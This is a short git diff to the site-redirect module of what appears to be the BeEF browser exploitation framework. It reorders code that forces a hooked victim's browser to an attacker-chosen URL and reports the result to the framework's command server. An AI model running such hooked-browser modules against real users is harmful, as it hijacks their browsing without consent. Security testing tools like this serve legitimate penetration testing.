diff --git a/modules/browser/site_redirect/command.js b/modules/browser/site_redirect/command.js index bc4f8d28c..01b4b6830 100644 --- a/modules/browser/site_redirect/command.js +++ b/modules/browser/site_redirect/command.js @@ -14,8 +14,9 @@ // limitations under the License. // beef.execute(function() { - - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Redirected to: <%= @redirect_url %>', function(){window.location = "<%= @redirect_url %>"}); + + window.location = "<%= @redirect_url %>"; + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Redirected to: <%= @redirect_url %>'); });